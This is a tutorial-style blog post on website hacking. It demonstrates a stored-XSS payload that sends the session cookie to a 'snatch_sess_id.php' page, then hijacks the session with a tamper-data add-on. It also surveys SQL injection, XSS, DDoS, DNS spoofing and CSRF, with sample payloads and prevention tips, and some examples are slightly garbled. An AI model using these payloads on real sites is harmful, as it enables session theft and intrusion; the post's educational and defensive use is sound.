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Information Security & Ethical Hacking


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How to Hack a Website: Step-by-Step Website Hacking Guide 2022

Posted in Information Security & Ethical Hacking
how to hack a website

What comes to mind when you imagine a hacker? Perhaps a hooded criminal, stealing information with super-whiz computer skills. The truth is, it wasn’t so hard for that hacker to learn how to hack a website. And, not all website hacking is criminal, either!

Some companies hire hackers to test their computer security, like banks, retail stores, and government agencies.

If you’re interested in webpage hacking, you’re in the right place. Today we’ll go through the steps on how to hack a website and introduce you to different types of cyberattacks and prevention methods.

Let’s get started!

How to Hack a Website Step-by-Step: Different Ways to Hack a Website

There are several ways for a hacker to perform website hacking. All he needs is to find the vulnerable point within the website to enter and gain access to the crucial information. In this article, we have mentioned some of the amazing tricks that you can perform to hack a website.

1. Hacking Online Website

The first method for how to hack a website and change it is by hacking an online website. We’ll hack “www.techpanda.org” as an example to demonstrate the steps for web page hacking. In this scenario, we’ll read the cookie session ID and impersonate a user session to gain admin information.

Through the help of SQL Injection to Bypass Authentication Method, we can gain access to login credentials. Then, follow these steps:

dashboard

  • Select Add New Contact.
  • Enter the following in the first name field.

<a href=# onclick=\”document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>Dark</a>

It is the JavaScript code adding a hyperlink with an on-click event. On clicking it, the event retrieves the PHP cookie session ID and sends it to the snatch_sess_id.php page along with the session id in the URL.

dashboard

  • Enter the other information and click save.

dashboard

  • You will get a new entry as shown below.

How to hack a Website

  • The cross-site script code is stored in the database and will get loaded every time the users with access rights login.
  • Whenever the admin clicks the Dark entry, he will get the window with the session-id showing in the URL.

How to hack a Website

2. Session Impersonation

To perform this attack, you must use a tamper data add-on. Tamper data is a commonly used extension in Firefox. You can tamper with the data sent between the client and the server, and access to GET and POSTING element data. We have specified how to install a tamper data add-on below with detailed steps.

  • You need Firefox and tamper data add-on.
  • Open Firefox to install the tamper data add-on, as shown below in the image.

dashboard

  • Look for the tamper data and install as per the below image.

dashboard

  • Now, click on accept and install.

  • After the installation, you will get the restart now button as shown below.

  • Now go to the menu bar in the Firefox browser, as shown below.

  • Go to tools and select Tamper Data

  • Click on start, you will get the below window.

  • You will get the below window.

  • Now, copy the PHPSESSID from the attack URL and paste it to the cookie field and click ok as shown above.
  • You will get below the window.

  • Uncheck the continue option and submit.
  • You will get the below dashboard.

Different Types of Cyber Attacks

Unfortunately, there are a few different ways that hackers can get into a company’s cyberspace. Here are some examples of different cyber attacks.

1. SQL Injection Attack

An SQL injection attack entails a hacker providing a malicious SQL query to an application. The query gives the hacker access to read crucial information from the database and even execute unauthorized commands, resulting in critical data loss and compromise.

This type of cyberattack gives hackers the power to spoof identity, alter data, cause frauds, and damage company reputations. These attacks are widespread with the PHP and ASP applications because they have old interfaces. The severity of the injection attack depends on how skilled the hacker is. If the website is not protected with proper security measures, it can be easily exploited.

Different Types of SQL Injection Attacks

The attack has been divided into three categories depending on how they access the data and damage it. These are- In-band SQLi (Classic), Inferential SQLi (Blind), and Out-of-band SQLi.

  • In-band SQLi: It is possible if the used SQL is very simple to hack. Under this type of SQL injection attack, the hacker uses the same channel within the network to launch the attack and get the data. It comes in two different variants mentioned below.
  • Error-based SQLi: The database produces error messages due to the actions of the attacker. Depending on the result, the attacker can get an idea of the structure of the database for that specific application.
  • Union-based SQLi:This technique works on a UNION SQL operator incorporating multiple select statements and converting them into a single HTTP response containing the necessary information about the application.
  • Inferential (Blind) SQLi: Under this attack, the hacker will send a massive amount of data to the server to observe the response and behavior of the server. In such a way, the attacker will analyze the information about its structure. Here, the attacker will not see the actual data as it is not transferred from the website database back to the attacker. This attack will slow down the server process. Blind SQL injections come in two variants as follows:
  • Boolean: A SQL query is sent to the database, and the attacker analyzes the output of the query, whether it is true or false. Also, the data in the HTTP response will change accordingly.
  • Time-based: This query makes the database wait for a few seconds before reacting. The attacker analyzes the time taken to respond to that query. It will create the HTTP response based on the time taken. The attacker can assume the result without getting into the actual database.
  • Out-of-band SQLi: This attack can only occur if some features are enabled on the database server. It depends on the server’s capacity to create DNS or HTTP requests for data transfer to the attacker. If any method does not provide the result expected by the attacker, they go for this technique.

How Does SQL Injection Work?

The attacker may choose the following way to implement an SQL injection attack. The attacker can choose any of the following ways.

  • Injecting SQL queries in the user input field: Here, the hacker inputs SQL queries to the user input field and passes them to the database to process. If the database accepts the input without sanitizing them, the attacker can do whatever action they want.
  • Injecting SQL queries via cookies: The attacker tries to gain data from the stored cookies, so they place malware on the device to modify the cookies data and inject the query there o get access to the database.
  • Injecting SQL queries via HTTP headers: The attacker can inject the query in the HTTP header if the application takes the input from the headers and get access to the database.

Impact of SQL Injection

  • Bypassing authentication and impersonating the other user to gain access to the database.
  • Exfiltrating/stealing data to use it for its own sake.
  • Modifying crucial data to cause fraud.
  • Deleting data damages the reputation.
  • Running arbitrary code for fun.
  • Gaining root access to the system itself and executing SQLs.

Example

First, the attacker will find vulnerabilities and then inject the SQL query. As per the following example, the attacker takes out the necessary information for a specific product, which can be altered to read http://www.estore.com/product/product.asp?productid=999 or 1=1. This will send the below query to the database-

SELECT ProductName,ProductDescription
FROM Product
WHERE ProductNumber = 999OR1=1

Due to condition 1=1, the statement will always be true and return all the product details.

How to Prevent This Attack?

You can prevent this attack by sanitizing the inputs to identify the unauthorized users to access the crucial data.

2. Cross-Site Scripting Attack

With this attack, a hacker impersonates the victim to gain victim data. These attacks are also referred to as XSS, and compromise the user’s interaction with an application. Under this attack, the attacker creates the same environment that keeps different websites distinct. If the attacker gets privileged access to the specific application, they can harm the crucial data stored within the application.

The attack starts with the victim’s access to the application or the web page. The attacker carries out the malicious JavaScript code in the victim’s web browser. The web page acts as a vehicle to deliver the injected code once the user accesses a web page. Some examples where the attacker can inject the code in the web page are- forums, comments, etc.

Impact of Cross-Site Scripting Attacks

The following are some impacts to the user:

  • Exfiltrating/stealing data to use it for its own sake.
  • Modifying crucial data to cause fraud.
  • Deleting data damages the reputation.
  • Running arbitrary code for fun.

How to Prevent Cross-Site Scripting Attacks

Make sure to implement the below strategies to prevent this attack from occurring.

  • Make sure the application’s form filters out the inputs provided by the user.
  • Always encode the output data that ensures security.
  • Make sure to use appropriate response headers.
  • Also, implement a content-related security policy.

Different Types of XSS

There are three different types of attacks available.

  • Reflected Cross-Site Scripting Attack

This type of attack is simple to create. The attacker provides the code in the HTTP request of the application and gets the data through the immediate response.

For example:

https://xyz-website.com/status?message=<script>/*+malicioud code...+*/</script>

<p>Status: <script>/* malicious code... */</script></p>

Whenever the user clicks applications HTTP requests and gets on the above URL, the injected script will execute in the web browser. The script can get the necessary information, delete data, etc.

  • Stored Cross-Site Scripting

In this attack, an application might receive the data from an untrusted source and includes that data in the HTTP responses for the server to process.

The data can be injected into the application via HTTP requests. For example, comments, contact details on a customer order, etc.

For example:

The comment section of the application allows users to submit messages as below.

<p>Hello, data</p>

The attacker can easily send a message that can even harm other users who can access the message from the comment section.

<p><script>/* malicious code... */</script></p>

  • DOM-Based Cross-Site Scripting

This attack occurs when the application has client-side JavaScript processing the data from an untrusted source and writing back the data to the DOM.

In the below-mentioned example, the JavaScript code reads the value from an input field and provides the provided value to the HTML element, as shown below.

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

If the attacker controls the value of the input field, they can insert a malicious value to execute:

You searched for: 

<img src=1 onerror='/* malicious code... */'>

3. Denial-of-Service Attack (DDoS/DoS)

A distributed denial-of-service (DDoS) attack impacts the regular traffic of a targeted server by overflow the target with numerous requests. They’re usually carried out within networks of connected devices that are infected with malware and are controlled remotely by an attacker. These individual devices are called bots to which an attacker will send remote instructions to perform. When a bot targets the server, it will send a request to the target’s IP address and overwhelm the server resulting in severe damage.

DDOS

Different Types of DDoS Attack

The following are the different types of DDoS attacks that are commonly practiced by attackers.

  • TCP Connection Attack: This attack will occupy all your connections such as load balancers, firewall, application servers, resulting in delaying in processing the actual request.
  • Volumetric Attack: Targets the bandwidth of the application within the target network or between the target network and the Internet to cause congestion.
  • Fragmentation Attacks: This overflood the TCP or UDP fragments to a victim's streams, reducing performance.
  • Application Attacks: Overwhelms a specific application’s aspect and results in generating a low traffic rate.
  • DNS Reflection: The attacker forges the victim’s IP, sends a small request to the DNS server, and sends an extensive reply to the user.

Impact of DDoS Attacks

Below is the impact that can be seen within the server and machines.

  • The unnecessary rise in the traffic from a specific IP address.
  • Unexpected rise in the traffic from the specific group of users having the same behavioral profile, such as device type, geolocation, etc.
  • Sometimes there is a rise in the requests sent to a single page or endpoint.
  • Traffic spikes at odd day hours.

How to Prevent DDoS Attacks

Below are some methods to prevent DDoS attacks.

  • Limit the rate for your web server’s router.
  • Add appropriate filters to your router to prevent incoming packets from dubious sources.
  • Set forced timeouts on connections.
  • Use strong firewalls against DDoS attacks.
  • Use third-party DDoS mitigation software from vendors such as Akamai, Cloudflare, VeriSign, Arbor Networks, etc.

4. DNS Spoofing Attack

Domain Name System (DNS) poisoning and spoofing mainly exploits the vulnerabilities of the DNS server and diverts traffic away from valid servers to fake ones. If the victim has accessed a fraudulent page, he will be transferred to another website that causes harm to your system. The main impact of this attack is data theft.

To perform this attack, a client requests an IP address from the DNS server. They then receive a response containing a fake IP address without an established connection to the address the client requested. So, the request goes to a malicious host, and the host returns the legitimate website to the client without a security certificate.

Different Types of DNS Spoofing Attack

Below are the different types of DNS spoofing attacks.

  • Local Router Attack

Under this attack, the attacker alters the data and adds malicious code to the local device. The victim cannot tell the difference or if there has been any compromise to their system. However, incorrect IP addresses will be returned for the requested hostnames. The attack will persist until the tampering is corrected. For example, changing details of the DNS server, tampering with the host file on the local system, hijacking the local router, etc.

  • DNS Server Response Attack

Also known as a man-in-the-middle attack, where the attacker pretends to be a victim and sends a malicious response. This attack is possible because DNS traffic uses the unencrypted User Datagram Protocol so there is no way to verify the authenticity of the DNS response.

  • A DNS server

This type of DNS spoofing attack targets a valid DNS server and affects many users. For example- poisoning the DNS cache on the server, highjacking the DNS server, etc.

How to Prevent DNS Spoofing Attacks

Below are the ways to prevent the DNS Spoofing attack-

  • Limit the recursive queries and protect against potential poisoning attacks.
  • Store data related to the requested domain only.
  • Restrict responses to only being about the requested domain.
  • Force clients to use HTTPS.

5. Cross-Site Request Forgery Attack

Cross-Site Request Forgery (CSRF) attacks the victim and performs some unwanted actions as expected by the attacker on a web application without authorized access. The attacker tricks the victim into executing some illegal actions chosen by the attacker.

If in case, the victim is a regular user; the attacker can only perform actions such as transferring funds, changing their email address, and so forth. CSRF can impact the entire web application if the victim has administrative access.

The main impacts are a changed server state, data breach, and illegal transfer of funds.

CSRF

How Cross-site Request Forgery Attacks Work

When a victim tries to access a website, the browser automatically picks their credentials from the saved cookies to make the login process seamless. Once users pass their login credentials, the site cannot differentiate between forged and legitimate requests. In such cases, attackers can easily impersonate the victim. Attackers typically follow this process:

  • The attacker uses social engineering methods to influence the victim to click a malicious code link.
  • That link will trigger a request to the targeted site.
  • The request is expected to come from the user with the same credentials and leverage the saved data to sign in to the website.
  • The website responds to the incoming request and carries out the attacker’s requested action.

Example of Cross-site Request Forgery Attack

Here’s an example of how a simple GET request for a $5,000 bank transfer works:

GET https://abank.com/transfer.do?account=RandPerson&amount=$5000 HTTP/1.1

  • An attacker can alter the script to transfer an amount of $5,000 to their account, using the following code:

GET https://abank.com/transfer.do?account=SomeAttacker&amount=$5000 HTTP/1.1

How to Prevent Cross-Site Request Forgery Attacks

The following are the best practices to prevent this attack:

  • Ensure that you always sign off from the logged-in web applications when not in use.
  • Use strong usernames and passwords to avoid forgery.
  • Try not to access parallel browsers to do critical work.

Conclusion

We have only mentioned the most common attacks on a simple website where security has not been maintained. Today, technology is getting so advanced that it helps attackers get what they want. All they need is the proper usage of communication within the network. Each organization and website has its unique security policies and some robust strategies. But some hackers can hack into your system and create a blunder.

If you want to avoid such attacks on your website to protect its integrity, then you must understand how a website can be hacked and what measures can be implemented to avoid them. Go through this article, find the potential threat points for your website and eliminate the threats.

Interested in learning more about website security? Check out these information security and ethical hacking tutorials.

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Sameeksha Medewar

Sameeksha Medewar

Sameeksha is a freelance content writer for more than half and a year. She has a hunger to explore and learn new things. She possesses a bachelor's degree in Computer Science. View all posts by the Author

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